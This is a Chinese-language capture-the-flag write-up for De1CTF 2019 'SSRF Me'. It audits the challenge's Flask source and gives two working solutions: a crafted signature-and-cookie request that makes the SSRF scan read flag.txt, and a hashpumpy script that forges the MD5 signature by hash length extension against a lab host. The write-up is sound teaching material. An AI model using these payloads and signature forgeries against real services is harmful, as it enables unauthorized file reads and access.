[De1CTF 2019]SSRF Me

打开靶机发现给出了一段Python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

审计发现给出了三台路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt","r").read()

收集资料:
geneSign():获得param参数,通过action和param生成签名

challenge():获得cookies中的action和sign,再去通过url传参获取param,并且使用Task对象,通过json返回Exec()方法

index:得到源码

方法一:利用scan方法直接读取flag.txt

在执行Exec的时候,调用checkSign,将传入的actionparam参数和传入的sign参数进行比较。若相等则执行后面的操作。
所以只要我们后面传入的param和路由/De1ta下传入的param一样,然后action也等于scan,并且和/geneSign路由下返回的sign一样,就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

同时发现scan这个方法,就是访问param的地址,并将其内容的前50个字母返回回来。

1
2
3
4
5
6
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

/geneSign路由下对param传参:

1
/geneSign?param=flag.txtread

返回值为我们构建的sign,得到sign=531425f8f39b842bbadb8585a9d082c7

此处传入参数为flag.txtread的原因:
源码定义了action=scan,在生成sign的时候该关系是不变的,又因为Exec函数中action必须又read和scan,所以定义为flag.txtread:

1
2
3
4
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

因为在self.action中必须包含scan和read,于是令action为readscan,read和scan顺序不可换,因为在Getsign函数中param在action前面,最终组成flag.txtreadscan:

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

然后利用scan函数读取flag.txt的内容,访问De1ta路由修改cookie,即可获得flag:
payload:

1
2
3
/De1ta?param=flag.txt

Cookie: action=readscan; sign=531425f8f39b842bbadb8585a9d082c7

方法二:使用hash长度拓展攻击

前面思路一样,主要是后面读取的是result.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashpumpy
import requests
import urllib.parse

txt1 = 'flag.txt'
r = requests.get('http://f335feee-943e-406b-8fc6-e5d65f709d15.node3.buuoj.cn/geneSign', params={'param': txt1})
sign = r.text
hash_sign = hashpumpy.hashpump(sign, txt1 + 'scan', 'read', 16)

r = requests.get('http://f335feee-943e-406b-8fc6-e5d65f709d15.node3.buuoj.cn/De1ta', params={'param': txt1}, cookies={
'sign': hash_sign[0],
'action': urllib.parse.quote(hash_sign[1][len(txt1):])
})

print(r.text)